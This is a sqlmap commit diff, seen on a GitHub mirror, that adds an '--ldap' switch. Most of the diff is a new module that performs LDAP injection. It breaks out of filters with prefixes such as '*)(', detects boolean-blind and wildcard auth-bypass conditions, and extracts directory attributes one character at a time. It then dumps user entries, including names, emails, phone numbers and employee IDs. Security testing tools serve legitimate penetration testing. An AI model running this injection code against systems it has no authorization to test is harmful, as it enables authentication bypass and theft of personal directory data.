mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-06-28 12:31:00 +00:00
Adding switch --ldap
This commit is contained in:
parent
7a95103122
commit
e8162d314a
10 changed files with 1545 additions and 14 deletions
|
|
@ -82,6 +82,7 @@ from lib.core.settings import FORMAT_EXCEPTION_STRINGS
|
|||
from lib.core.settings import GRAPHQL_ERROR_REGEX
|
||||
from lib.core.settings import HEURISTIC_CHECK_ALPHABET
|
||||
from lib.core.settings import INFERENCE_EQUALS_CHAR
|
||||
from lib.core.settings import LDAP_ERROR_REGEX
|
||||
from lib.core.settings import IPS_WAF_CHECK_PAYLOAD
|
||||
from lib.core.settings import IPS_WAF_CHECK_RATIO
|
||||
from lib.core.settings import IPS_WAF_CHECK_TIMEOUT
|
||||
|
|
@ -1186,6 +1187,13 @@ def heuristicCheckSqlInjection(place, parameter):
|
|||
if conf.beep:
|
||||
beep()
|
||||
|
||||
if not conf.ldap and re.search(LDAP_ERROR_REGEX, page or ""):
|
||||
infoMsg = "heuristic (LDAP) test shows that %sparameter '%s' might be vulnerable to LDAP injection (rerun with switch '--ldap')" % ("%s " % paramType if paramType != parameter else "", parameter)
|
||||
logger.info(infoMsg)
|
||||
|
||||
if conf.beep:
|
||||
beep()
|
||||
|
||||
kb.disableHtmlDecoding = False
|
||||
kb.heuristicMode = False
|
||||
|
||||
|
|
|
|||
|
|
@ -514,12 +514,7 @@ def start():
|
|||
|
||||
setupTargetEnv()
|
||||
|
||||
if conf.graphql:
|
||||
from lib.techniques.graphql.inject import graphqlScan
|
||||
graphqlScan()
|
||||
continue
|
||||
|
||||
if not checkConnection(suppressOutput=conf.forms):
|
||||
if not any((conf.graphql,)) and not checkConnection(suppressOutput=conf.forms):
|
||||
continue
|
||||
|
||||
if conf.rParam and kb.originalPage:
|
||||
|
|
@ -533,11 +528,21 @@ def start():
|
|||
|
||||
checkWaf()
|
||||
|
||||
if conf.graphql:
|
||||
from lib.techniques.graphql.inject import graphqlScan
|
||||
graphqlScan()
|
||||
continue
|
||||
|
||||
if conf.nosql:
|
||||
from lib.techniques.nosql.inject import nosqlScan
|
||||
nosqlScan()
|
||||
continue
|
||||
|
||||
if conf.ldap:
|
||||
from lib.techniques.ldap.inject import ldapScan
|
||||
ldapScan()
|
||||
continue
|
||||
|
||||
if conf.nullConnection:
|
||||
checkNullConnection()
|
||||
|
||||
|
|
|
|||
|
|
@ -20,7 +20,7 @@ from lib.core.enums import OS
|
|||
from thirdparty import six
|
||||
|
||||
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
||||
VERSION = "1.10.6.163"
|
||||
VERSION = "1.10.6.164"
|
||||
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
||||
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
||||
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
||||
|
|
@ -843,7 +843,7 @@ HEURISTIC_CHECK_ALPHABET = ('"', '\'', ')', '(', ',', '.')
|
|||
BANNER = re.sub(r"\[.\]", lambda _: "[\033[01;41m%s\033[01;49m]" % random.sample(HEURISTIC_CHECK_ALPHABET, 1)[0], BANNER)
|
||||
|
||||
# String used for dummy non-SQLi (e.g. XSS) heuristic checks of a tested parameter value
|
||||
DUMMY_NON_SQLI_CHECK_APPENDIX = "<'\">"
|
||||
DUMMY_NON_SQLI_CHECK_APPENDIX = "<'\">)"
|
||||
|
||||
# Regular expression used for recognition of file inclusion errors
|
||||
FI_ERROR_REGEX = r"(?i)[^\n]{0,100}(no such file|failed (to )?open)[^\n]{0,100}"
|
||||
|
|
@ -939,6 +939,44 @@ GRAPHQL_RUNTIME_ERRORS = (
|
|||
)
|
||||
GRAPHQL_ERROR_REGEX = "(?:%s)" % '|'.join(GRAPHQL_PARSE_ERRORS + GRAPHQL_VALIDATION_ERRORS + GRAPHQL_APQ_ERRORS + GRAPHQL_RUNTIME_ERRORS)
|
||||
|
||||
# LDAP error signatures per back-end for error-based detection and fingerprinting (matched against
|
||||
# HTTP response bodies). Each tuple is (backend_name, regex_fragment).
|
||||
LDAP_ERROR_SIGNATURES = (
|
||||
("Microsoft Active Directory", r"AcceptSecurityContext error, data [0-9a-fA-F]+"),
|
||||
("Microsoft Active Directory", r"LdapErr: DSID-[0-9a-fA-F]+"),
|
||||
("Microsoft Active Directory", r"80090308:\s*LdapErr"),
|
||||
("OpenLDAP", r"(?:Bad search filter|ldap_search_ext:\s*Bad search filter)(?:\s*\(-7\))?"),
|
||||
("OpenLDAP", r"Invalid DN syntax(?:\s*\(34\))?"),
|
||||
("ApacheDS", r"javax\.naming\.(?:directory\.)?(?:Naming|Authentication|InvalidName|InvalidSearchFilter|OperationNotSupported)Exception"),
|
||||
("ApacheDS", r"org\.apache\.directory\.api\.ldap\.model\.exception\.Ldap(?:InvalidSearchFilter|InvalidDn|SchemaViolation)?Exception"),
|
||||
("ApacheDS", r"LDAPException=\d+\s+msg=ERR_\d+"),
|
||||
("Oracle Directory Server", r"(?:attribute syntax error:|ACL parsing error:|Oracle (?:Unified )?Directory)"),
|
||||
("389 Directory Server", r"(?:Filter Syntax Verification|389[- ]Directory(?:[ /]Server)?)"),
|
||||
("Java JNDI", r"javax\.naming\.(?:InvalidNameException|InvalidSearchFilterException)"),
|
||||
("python-ldap", r"ldap\.(?:INVALID_DN_SYNTAX|FILTER_ERROR|NO_SUCH_OBJECT)"),
|
||||
)
|
||||
|
||||
# Combined LDAP error regex used for heuristic detection (checks.py) and for recognising
|
||||
# that an error response originates from an LDAP back-end rather than a generic HTTP 500
|
||||
LDAP_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in LDAP_ERROR_SIGNATURES)
|
||||
|
||||
# Printable-ASCII codepoint bounds bisected during LDAP blind extraction via >= lexicographic comparison
|
||||
LDAP_CHAR_MIN = 0x20
|
||||
LDAP_CHAR_MAX = 0x7e
|
||||
|
||||
# Upper bound for the value-length search during LDAP blind extraction
|
||||
LDAP_MAX_LENGTH = 256
|
||||
|
||||
# Attributes that definitively identify the backend vendor when probed on the RootDSE or
|
||||
# a well-known directory entry. Each tuple is (attribute, expected_value_substring, backend).
|
||||
LDAP_FINGERPRINT_ATTRIBUTES = (
|
||||
("objectGUID", None, "Microsoft Active Directory"),
|
||||
("vendorName", "OpenLDAP", "OpenLDAP"),
|
||||
("vendorName", "Apache Software Foundation", "ApacheDS"),
|
||||
("vendorName", "Oracle Corporation", "Oracle Directory Server"),
|
||||
("vendorName", "Red Hat", "389 Directory Server"),
|
||||
)
|
||||
|
||||
# Length of prefix and suffix used in non-SQLI heuristic checks
|
||||
NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6
|
||||
|
||||
|
|
|
|||
|
|
@ -90,6 +90,7 @@ def vulnTest():
|
|||
("-u \"<url>&echo=foobar*\" --flush-session", ("might be vulnerable to cross-site scripting",)),
|
||||
("-u \"<base>nosql?name=luther&password=x\" -p password --nosql --flush-session", ("is vulnerable to NoSQL injection", "back-end: 'MongoDB'", "NoSQL: GET parameter 'password'", "s3cr3t")), # NoSQL (MongoDB) operator-injection detection + blind regexp extraction
|
||||
("-u \"<base>graphql\" --graphql --flush-session --disable-hashing", ("found GraphQL endpoint", "introspection returned", "skipping 2 mutation slot", "GraphQL boolean-based blind", "in-band data exposure", "back-end DBMS: 'SQLite'", "banner: '3.", "GraphQL database tables", "fetched 30 entries from table 'creds'", "db3a16990a0008a3b04707fdef6584a0", "GraphQL scan complete")), # GraphQL: endpoint detection + introspection + mutation-skip + boolean-blind/in-band + back-end fingerprint + batched blind dump of an injection-only table (SQLite-backed)
|
||||
("-u \"<base>ldap/search?q=x\" --ldap --flush-session --disable-hashing", ("is vulnerable to LDAP injection", "Title: LDAP boolean-based blind", "LDAP: GET parameter 'q' directory entries", "dumped", "LDAP scan complete")), # LDAP: error-based detection (unbalanced paren) + boolean oracle + directory attribute extraction via blind substring probing
|
||||
("-u \"<url>&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")),
|
||||
("-d \"<direct>\" --flush-session --dump -T creds --dump-format=SQLITE --binary-fields=password_hash --where \"user_id=5\"", ("3137396164343563366365326362393763663130323965323132303436653831", "dumped to SQLITE database")),
|
||||
("-d \"<direct>\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=4; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "4,foobar,nameisnull", "'987654321'",)),
|
||||
|
|
|
|||
|
|
@ -421,6 +421,9 @@ def cmdLineParser(argv=None):
|
|||
techniques.add_argument("--graphql", dest="graphql", action="store_true",
|
||||
help="Test for GraphQL injection (introspection, field/argument fuzzing, SQL/NoSQL payload families)")
|
||||
|
||||
techniques.add_argument("--ldap", dest="ldap", action="store_true",
|
||||
help="Test for LDAP injection (filter breakout, boolean blind, auth bypass)")
|
||||
|
||||
techniques.add_argument("--time-sec", dest="timeSec", type=int,
|
||||
help="Seconds to delay the DBMS response (default %d)" % defaults.timeSec)
|
||||
|
||||
|
|
|
|||
8
lib/techniques/ldap/__init__.py
Normal file
8
lib/techniques/ldap/__init__.py
Normal file
|
|
@ -0,0 +1,8 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
pass
|
||||
750
lib/techniques/ldap/inject.py
Normal file
750
lib/techniques/ldap/inject.py
Normal file
|
|
@ -0,0 +1,750 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import difflib
|
||||
import re
|
||||
|
||||
from collections import namedtuple
|
||||
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.convert import getUnicode
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import logger
|
||||
from lib.core.enums import CUSTOM_LOGGING
|
||||
from lib.core.enums import PLACE
|
||||
from lib.core.settings import LDAP_CHAR_MAX
|
||||
from lib.core.settings import LDAP_CHAR_MIN
|
||||
from lib.core.settings import LDAP_ERROR_REGEX
|
||||
from lib.core.settings import LDAP_ERROR_SIGNATURES
|
||||
from lib.core.settings import LDAP_FINGERPRINT_ATTRIBUTES
|
||||
from lib.core.settings import LDAP_MAX_LENGTH
|
||||
from lib.core.settings import UPPER_RATIO_BOUND
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.utils.xrange import xrange
|
||||
|
||||
try:
|
||||
from lib.core.settings import LDAP_MAX_RECORDS
|
||||
except ImportError:
|
||||
LDAP_MAX_RECORDS = 20
|
||||
|
||||
|
||||
SENTINEL = randomStr(length=10, lowercase=True)
|
||||
|
||||
# _send() below currently knows how to rebuild GET and POST-style parameter
|
||||
# strings. Cookie and URI delivery require separate per-place logic and should not
|
||||
# be advertised until implemented.
|
||||
LDAP_PLACES = (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST)
|
||||
|
||||
# Breakouts are tried against the original application filter template. The
|
||||
# generated assertion fragments intentionally stay open-ended: the vulnerable
|
||||
# application usually appends the closing ')' or trailing substring '*') itself.
|
||||
LDAP_BREAKOUT_PREFIXES = (
|
||||
"*)", # substring + one assertion: (attr=*<input>*)
|
||||
")", # exact-match one assertion: (attr=<input>)
|
||||
"|", # injection at filter-list head
|
||||
"*))(", # substring + two assertions deep
|
||||
"*)))", # substring + three assertions deep
|
||||
")))", # exact-match three assertions deep
|
||||
)
|
||||
|
||||
LDAP_TAUTOLOGY_ATTRIBUTES = (
|
||||
"objectClass",
|
||||
"uid",
|
||||
"cn",
|
||||
)
|
||||
|
||||
ENTRY_KEY_ATTRIBUTES = (
|
||||
"uid",
|
||||
"sAMAccountName",
|
||||
"userPrincipalName",
|
||||
"mail",
|
||||
"cn",
|
||||
)
|
||||
|
||||
DUMP_ATTRIBUTES = (
|
||||
"uid",
|
||||
"cn",
|
||||
"sn",
|
||||
"givenName",
|
||||
"displayName",
|
||||
"mail",
|
||||
"sAMAccountName",
|
||||
"userPrincipalName",
|
||||
"title",
|
||||
"department",
|
||||
"company",
|
||||
"o",
|
||||
"ou",
|
||||
"telephoneNumber",
|
||||
"mobile",
|
||||
"manager",
|
||||
"description",
|
||||
"l",
|
||||
"st",
|
||||
"street",
|
||||
"postalCode",
|
||||
"c",
|
||||
"co",
|
||||
"employeeID",
|
||||
"employeeNumber",
|
||||
"employeeType",
|
||||
"objectClass",
|
||||
"objectCategory",
|
||||
)
|
||||
|
||||
MULTI_VALUE_ATTRIBUTES = (
|
||||
"member",
|
||||
"memberOf",
|
||||
"uniqueMember",
|
||||
)
|
||||
|
||||
Slot = namedtuple("Slot", ("place", "parameter", "backend", "oracle", "template", "payload", "breakout", "bypass"))
|
||||
Slot.__new__.__defaults__ = (None, None, None, None, None, None, None, None)
|
||||
|
||||
|
||||
def _ratio(first, second):
|
||||
return difflib.SequenceMatcher(None, first or "", second or "").quick_ratio()
|
||||
|
||||
|
||||
def _delim(place):
|
||||
return (conf.cookieDel or ';') if place == PLACE.COOKIE else '&'
|
||||
|
||||
|
||||
def _confParameters(place):
|
||||
try:
|
||||
return conf.parameters.get(place, "")
|
||||
except AttributeError:
|
||||
return conf.parameters[place] if place in conf.parameters else ""
|
||||
|
||||
|
||||
def _originalValue(place, parameter):
|
||||
for segment in _confParameters(place).split(_delim(place)):
|
||||
name, _, value = segment.partition('=')
|
||||
if name.strip() == parameter:
|
||||
return value
|
||||
return conf.paramDict.get(place, {}).get(parameter) or ""
|
||||
|
||||
|
||||
def _replaceSegment(place, parameter, value):
|
||||
delimiter = _delim(place)
|
||||
raw = _confParameters(place)
|
||||
retVal, replaced = [], False
|
||||
|
||||
for part in raw.split(delimiter):
|
||||
name, _, _ = part.partition('=')
|
||||
if not replaced and name.strip() == parameter:
|
||||
retVal.append("%s=%s" % (name, value))
|
||||
replaced = True
|
||||
else:
|
||||
retVal.append(part)
|
||||
|
||||
if not replaced:
|
||||
retVal = []
|
||||
for name, oldValue in conf.paramDict.get(place, {}).items():
|
||||
retVal.append("%s=%s" % (name, value if name == parameter else oldValue))
|
||||
|
||||
return delimiter.join(retVal)
|
||||
|
||||
|
||||
def _send(place, parameter, value):
|
||||
skipUrlEncode = conf.skipUrlEncode
|
||||
conf.skipUrlEncode = True
|
||||
|
||||
try:
|
||||
kwargs = {"raise404": False, "silent": True}
|
||||
payload = _replaceSegment(place, parameter, value)
|
||||
kwargs["post" if place in (PLACE.POST, PLACE.CUSTOM_POST) else "get"] = payload
|
||||
|
||||
logger.log(CUSTOM_LOGGING.PAYLOAD, payload)
|
||||
page, _, _ = Request.getPage(**kwargs)
|
||||
return page or ""
|
||||
except Exception as ex:
|
||||
logger.debug("LDAP probe request failed: %s" % getUnicode(ex))
|
||||
return ""
|
||||
finally:
|
||||
conf.skipUrlEncode = skipUrlEncode
|
||||
|
||||
|
||||
def _isError(page):
|
||||
return bool(re.search(LDAP_ERROR_REGEX, getUnicode(page or "")))
|
||||
|
||||
|
||||
def _backendFromError(page):
|
||||
page = getUnicode(page or "")
|
||||
for backend, regex in LDAP_ERROR_SIGNATURES:
|
||||
if re.search(regex, page):
|
||||
return backend
|
||||
return "Generic LDAP" if _isError(page) else None
|
||||
|
||||
|
||||
def _probeBackendByParserError(place, parameter):
|
||||
"""Probe for LDAP filter parser errors to obtain a backend hint.
|
||||
This is NOT authoritative vulnerability detection -- only a boolean
|
||||
oracle (from _detectBoolean) confirms exploitable injection."""
|
||||
|
||||
original = _originalValue(place, parameter) or "x"
|
||||
normal = _send(place, parameter, original)
|
||||
|
||||
# Use LDAP filter syntax breakers, not apostrophes. Apostrophes are not LDAP
|
||||
# filter metacharacters and only detect broken LDAP emulators backed by SQL.
|
||||
for suffix in (")", "*)"):
|
||||
payload = original + suffix
|
||||
broken = _send(place, parameter, payload)
|
||||
|
||||
if not normal or _ratio(normal, broken) >= UPPER_RATIO_BOUND:
|
||||
continue
|
||||
|
||||
backend = _backendFromError(broken)
|
||||
if backend and not _isError(normal):
|
||||
return backend, payload
|
||||
|
||||
return None, None
|
||||
|
||||
|
||||
def _boolean(truthy, falsy):
|
||||
"""Return the reproducible true page when true/false probes diverge."""
|
||||
|
||||
truePage = truthy()
|
||||
if not truePage or _isError(truePage):
|
||||
return None
|
||||
|
||||
falsePage = falsy()
|
||||
if not falsePage or _isError(falsePage):
|
||||
return None
|
||||
|
||||
truePage2 = truthy()
|
||||
if _ratio(truePage, truePage2) >= UPPER_RATIO_BOUND and _ratio(truePage, falsePage) < UPPER_RATIO_BOUND:
|
||||
return truePage
|
||||
|
||||
return None
|
||||
|
||||
|
||||
def _detectBoolean(place, parameter):
|
||||
"""Return (template, payload, breakout) for boolean-blind LDAPi."""
|
||||
|
||||
original = _originalValue(place, parameter) or ""
|
||||
falsePayload = original + SENTINEL
|
||||
|
||||
for breakout in LDAP_BREAKOUT_PREFIXES:
|
||||
for attr in LDAP_TAUTOLOGY_ATTRIBUTES:
|
||||
# Open fragment by design. The application template supplies the tail.
|
||||
truePayload = "%s%s(%s=*" % (original, breakout, attr)
|
||||
template = _boolean(lambda p=truePayload: _send(place, parameter, p),
|
||||
lambda p=falsePayload: _send(place, parameter, p))
|
||||
if template:
|
||||
return template, truePayload, breakout
|
||||
|
||||
# Useful for auth/search bypass reporting, but not enough to synthesize
|
||||
# arbitrary LDAP filters for enumeration.
|
||||
if original:
|
||||
template = _boolean(lambda: _send(place, parameter, "*"),
|
||||
lambda: _send(place, parameter, SENTINEL))
|
||||
if template:
|
||||
return template, "*", None
|
||||
|
||||
return None, None, None
|
||||
|
||||
|
||||
def _isPasswordParam(parameter):
|
||||
parameter = getUnicode(parameter or "").lower()
|
||||
return any(_ in parameter for _ in ("pass", "pwd", "secret", "pin", "cred", "key", "token", "auth"))
|
||||
|
||||
|
||||
def _detectAuthBypass(place, parameter):
|
||||
if not _isPasswordParam(parameter):
|
||||
return None
|
||||
|
||||
starPage = _send(place, parameter, "*")
|
||||
sentinelPage = _send(place, parameter, SENTINEL)
|
||||
|
||||
if starPage and sentinelPage and _ratio(starPage, sentinelPage) < UPPER_RATIO_BOUND:
|
||||
return "*"
|
||||
|
||||
return None
|
||||
|
||||
|
||||
def _fingerprintByError(backend):
|
||||
if not backend:
|
||||
return None
|
||||
if "Active Directory" in backend:
|
||||
return "Microsoft Active Directory"
|
||||
if "OpenLDAP" in backend:
|
||||
return "OpenLDAP"
|
||||
if "ApacheDS" in backend:
|
||||
return "ApacheDS"
|
||||
if "Oracle" in backend:
|
||||
return "Oracle Directory Server"
|
||||
if "389" in backend:
|
||||
return "389 Directory Server"
|
||||
if "python-ldap" in backend or "Java JNDI" in backend:
|
||||
return backend
|
||||
return backend
|
||||
|
||||
|
||||
def _transportEncode(value):
|
||||
"""
|
||||
Encode only transport-sensitive characters because _send() disables sqlmap's
|
||||
regular URL encoding. LDAP filter syntax should remain raw; assertion values
|
||||
should be passed through _ldapLiteral() first.
|
||||
"""
|
||||
|
||||
value = getUnicode(value)
|
||||
value = value.replace("%", "%25")
|
||||
value = value.replace("#", "%23")
|
||||
value = value.replace("&", "%26")
|
||||
value = value.replace("+", "%2B")
|
||||
value = value.replace("=", "%3D")
|
||||
value = value.replace(" ", "%20")
|
||||
return value
|
||||
|
||||
|
||||
def _ldapLiteral(value):
|
||||
"""Escape an LDAP assertion value, then protect URL transport bytes."""
|
||||
|
||||
value = getUnicode(value)
|
||||
value = value.replace("\\", "\\5c")
|
||||
value = value.replace("*", "\\2a")
|
||||
value = value.replace("(", "\\28")
|
||||
value = value.replace(")", "\\29")
|
||||
value = value.replace("\x00", "\\00")
|
||||
return _transportEncode(value)
|
||||
|
||||
|
||||
class _ProbeBuilder(object):
|
||||
"""
|
||||
Build payloads that preserve the winning breakout shape.
|
||||
|
||||
Simple probes are open fragments, e.g. SENTINEL*)(uid=adm*
|
||||
The target application's original filter template supplies the closing suffix.
|
||||
Compound probes close their own (&...) filter, then open a dummy assertion to
|
||||
consume that same application suffix.
|
||||
"""
|
||||
|
||||
def __init__(self, breakout):
|
||||
self.breakout = breakout or ")"
|
||||
|
||||
def raw(self, fragment, lead=None):
|
||||
return "%s%s%s" % (lead if lead is not None else SENTINEL, self.breakout, fragment)
|
||||
|
||||
def presence(self, attr, constraint=None, exclusions=None):
|
||||
assertion = "(%s=*)" % attr
|
||||
if constraint or exclusions:
|
||||
return self._compound(assertion, constraint=constraint, exclusions=exclusions)
|
||||
return self.raw("(%s=*" % attr)
|
||||
|
||||
def prefix(self, attr, value, constraint=None, exclusions=None):
|
||||
assertion = "(%s=%s*)" % (attr, _ldapLiteral(value))
|
||||
if constraint or exclusions:
|
||||
return self._compound(assertion, constraint=constraint, exclusions=exclusions)
|
||||
return self.raw("(%s=%s*" % (attr, _ldapLiteral(value)))
|
||||
|
||||
def contains(self, attr, value, constraint=None, exclusions=None):
|
||||
assertion = "(%s=*%s*)" % (attr, _ldapLiteral(value))
|
||||
if constraint or exclusions:
|
||||
return self._compound(assertion, constraint=constraint, exclusions=exclusions)
|
||||
return self.raw("(%s=*%s*" % (attr, _ldapLiteral(value)))
|
||||
|
||||
def equals(self, attr, value, constraint=None, exclusions=None):
|
||||
assertion = "(%s=%s)" % (attr, _ldapLiteral(value))
|
||||
if constraint or exclusions:
|
||||
return self._compound(assertion, constraint=constraint, exclusions=exclusions)
|
||||
|
||||
# Exact equality cannot be made reliable in an unknown trailing template,
|
||||
# so simple contexts fall back to prefix semantics.
|
||||
return self.prefix(attr, value)
|
||||
|
||||
def _compound(self, assertion, constraint=None, exclusions=None):
|
||||
clauses = []
|
||||
|
||||
if constraint:
|
||||
cAttr, cValue = constraint
|
||||
clauses.append("(%s=%s)" % (cAttr, _ldapLiteral(cValue)))
|
||||
|
||||
for eAttr, eValue in exclusions or ():
|
||||
clauses.append("(!(%s=%s))" % (eAttr, _ldapLiteral(eValue)))
|
||||
|
||||
# Raw '&' would split GET parameters because skipUrlEncode=True. Use %26
|
||||
# so the HTTP layer decodes it into LDAP '&' inside the parameter value.
|
||||
compound = "(%%26%s%s)" % ("".join(clauses), assertion)
|
||||
|
||||
# Dummy suffix eater: the original app template can safely append its tail.
|
||||
return self.raw("%s(objectClass=%s*" % (compound, SENTINEL))
|
||||
|
||||
|
||||
def _makeOracle(place, parameter, template):
|
||||
cache = {}
|
||||
|
||||
def request(payload):
|
||||
if payload not in cache:
|
||||
cache[payload] = _send(place, parameter, payload)
|
||||
return cache[payload]
|
||||
|
||||
falsePage = request(SENTINEL)
|
||||
|
||||
def oracle(payload):
|
||||
page = request(payload)
|
||||
if not page or _isError(page):
|
||||
return False
|
||||
return _ratio(template, page) >= UPPER_RATIO_BOUND
|
||||
|
||||
def extract(payload):
|
||||
page = request(payload)
|
||||
if not page or _isError(page):
|
||||
return False
|
||||
return _ratio(falsePage, page) < UPPER_RATIO_BOUND
|
||||
|
||||
oracle.extract = extract
|
||||
oracle.template = template
|
||||
oracle.falsePage = falsePage
|
||||
oracle.cache = cache
|
||||
return oracle
|
||||
|
||||
|
||||
# Avoid LDAP metacharacters in blind character extraction. In real LDAP they can
|
||||
# be escaped, but many simple test harnesses decode them before wildcard handling,
|
||||
# producing false positives. Transport-sensitive chars are allowed because
|
||||
# _ldapLiteral() encodes them.
|
||||
_META_ORDS = set(ord(_) for _ in ('*', '(', ')', '\\'))
|
||||
_FREQ = (tuple(xrange(ord('a'), ord('z') + 1)) +
|
||||
tuple(xrange(ord('A'), ord('Z') + 1)) +
|
||||
tuple(xrange(ord('0'), ord('9') + 1)) +
|
||||
tuple(ord(_) for _ in "@._-+ "))
|
||||
_CHARSET = []
|
||||
for _ in _FREQ:
|
||||
if LDAP_CHAR_MIN <= _ <= LDAP_CHAR_MAX and _ not in _META_ORDS and _ not in _CHARSET:
|
||||
_CHARSET.append(_)
|
||||
for _ in xrange(LDAP_CHAR_MIN, LDAP_CHAR_MAX + 1):
|
||||
if _ not in _META_ORDS and _ not in _CHARSET:
|
||||
_CHARSET.append(_)
|
||||
|
||||
|
||||
def _exists(oracle, builder, attr, constraint=None, exclusions=None):
|
||||
return oracle.extract(builder.presence(attr, constraint=constraint, exclusions=exclusions))
|
||||
|
||||
|
||||
def _inferAttribute(oracle, builder, attr, constraint=None, exclusions=None, maxLen=LDAP_MAX_LENGTH):
|
||||
value = ""
|
||||
probes = 0
|
||||
|
||||
for _ in xrange(maxLen):
|
||||
found = False
|
||||
|
||||
for cp in _CHARSET:
|
||||
candidate = value + chr(cp)
|
||||
probes += 1
|
||||
|
||||
if oracle.extract(builder.prefix(attr, candidate, constraint=constraint, exclusions=exclusions)):
|
||||
value = candidate
|
||||
found = True
|
||||
break
|
||||
|
||||
if not found:
|
||||
break
|
||||
|
||||
# Three or more consecutive trailing spaces never occur in real
|
||||
# directory data. When the server-side LDAP-to-SQL translation
|
||||
# (or equivalent) spuriously matches a trailing-space probe (e.g.
|
||||
# mail=user@dom * matching user@dom), the extraction would
|
||||
# otherwise chase an endless phantom suffix. Terminate and strip.
|
||||
if value.endswith(" "):
|
||||
value = value.rstrip()
|
||||
break
|
||||
|
||||
logger.debug("LDAP blind inference: %d probes for attribute '%s' (length=%d)" % (probes, attr, len(value)))
|
||||
return value if value else None
|
||||
|
||||
|
||||
def _fingerprintByAttribute(oracle, builder):
|
||||
for attr, expected, backend in LDAP_FINGERPRINT_ATTRIBUTES:
|
||||
if not _exists(oracle, builder, attr):
|
||||
continue
|
||||
|
||||
if expected:
|
||||
if oracle.extract(builder.contains(attr, expected)):
|
||||
return backend
|
||||
else:
|
||||
return backend
|
||||
|
||||
return None
|
||||
|
||||
|
||||
def _dumpInband(oracle, slot):
|
||||
"""If the always-true template page exposes directory entries directly
|
||||
(e.g. as JSON), extract them in one shot instead of blind brute-force."""
|
||||
import json
|
||||
|
||||
page = oracle.template
|
||||
if not page or not page.strip().startswith('{'):
|
||||
return False
|
||||
|
||||
try:
|
||||
data = json.loads(page)
|
||||
entries = data.get("entries") or data.get("results") or ()
|
||||
except (ValueError, TypeError):
|
||||
return False
|
||||
|
||||
if not entries or not isinstance(entries, (list, tuple)):
|
||||
return False
|
||||
|
||||
columns = []
|
||||
seen = set()
|
||||
for entry in entries:
|
||||
if not isinstance(entry, dict):
|
||||
continue
|
||||
for key in entry:
|
||||
if key not in seen:
|
||||
columns.append(getUnicode(key))
|
||||
seen.add(key)
|
||||
|
||||
if not columns:
|
||||
return False
|
||||
|
||||
rows = []
|
||||
for entry in entries:
|
||||
if not isinstance(entry, dict):
|
||||
continue
|
||||
rows.append(tuple(getUnicode(entry.get(c, "")) for c in columns))
|
||||
|
||||
# Drop columns where every row is empty (common with wide schemas).
|
||||
populated = []
|
||||
for ci, col in enumerate(columns):
|
||||
if any(r[ci] for r in rows):
|
||||
populated.append(ci)
|
||||
if populated and len(populated) < len(columns):
|
||||
columns = [columns[i] for i in populated]
|
||||
rows = [tuple(r[i] for i in populated) for r in rows]
|
||||
|
||||
logger.info("in-band data exposure: %d record(s)" % len(rows))
|
||||
_dumpTable("LDAP: %s parameter '%s' in-band entries" % (slot.place, slot.parameter),
|
||||
columns, rows)
|
||||
return True
|
||||
|
||||
|
||||
def _probeRootDSE(oracle, builder):
|
||||
for attr in ("namingContexts", "subschemaSubentry", "vendorName", "vendorVersion"):
|
||||
if not _exists(oracle, builder, attr):
|
||||
continue
|
||||
|
||||
value = _inferAttribute(oracle, builder, attr)
|
||||
if value:
|
||||
logger.info("directory %s: '%s'" % (attr, value))
|
||||
|
||||
|
||||
def _enumerateEntryKeys(oracle, builder):
|
||||
for keyAttr in ENTRY_KEY_ATTRIBUTES:
|
||||
if not _exists(oracle, builder, keyAttr):
|
||||
continue
|
||||
|
||||
values = []
|
||||
while len(values) < LDAP_MAX_RECORDS:
|
||||
exclusions = [(keyAttr, _) for _ in values]
|
||||
value = _inferAttribute(oracle, builder, keyAttr, exclusions=exclusions)
|
||||
|
||||
if not value or value in values:
|
||||
break
|
||||
|
||||
values.append(value)
|
||||
logger.info("identified directory entry: %s='%s'" % (keyAttr, value))
|
||||
|
||||
if values:
|
||||
return keyAttr, values
|
||||
|
||||
return None, []
|
||||
|
||||
|
||||
def _dumpEntries(oracle, builder, place, parameter):
|
||||
keyAttr, keys = _enumerateEntryKeys(oracle, builder)
|
||||
if not keys:
|
||||
logger.warning("could not identify a stable directory entry key")
|
||||
return False
|
||||
|
||||
rows = []
|
||||
discovered = set()
|
||||
|
||||
for key in keys:
|
||||
constraint = (keyAttr, key)
|
||||
row = {keyAttr: key}
|
||||
logger.info("extracting attributes for entry %s='%s'" % (keyAttr, key))
|
||||
|
||||
for attr in DUMP_ATTRIBUTES:
|
||||
if attr == keyAttr:
|
||||
continue
|
||||
|
||||
logger.info("probing attribute '%s'" % attr)
|
||||
if not _exists(oracle, builder, attr, constraint=constraint):
|
||||
continue
|
||||
|
||||
value = _inferAttribute(oracle, builder, attr, constraint=constraint)
|
||||
if value:
|
||||
row[attr] = value
|
||||
discovered.add(attr)
|
||||
|
||||
rows.append(row)
|
||||
|
||||
columns = [keyAttr] + [_ for _ in DUMP_ATTRIBUTES if _ != keyAttr and _ in discovered]
|
||||
tableRows = [tuple(row.get(column, "") for column in columns) for row in rows]
|
||||
|
||||
logger.info("dumped %d entr%s" % (len(rows), "y" if len(rows) == 1 else "ies"))
|
||||
_dumpTable("LDAP: %s parameter '%s' directory entries" % (place, parameter), columns, tableRows)
|
||||
return True
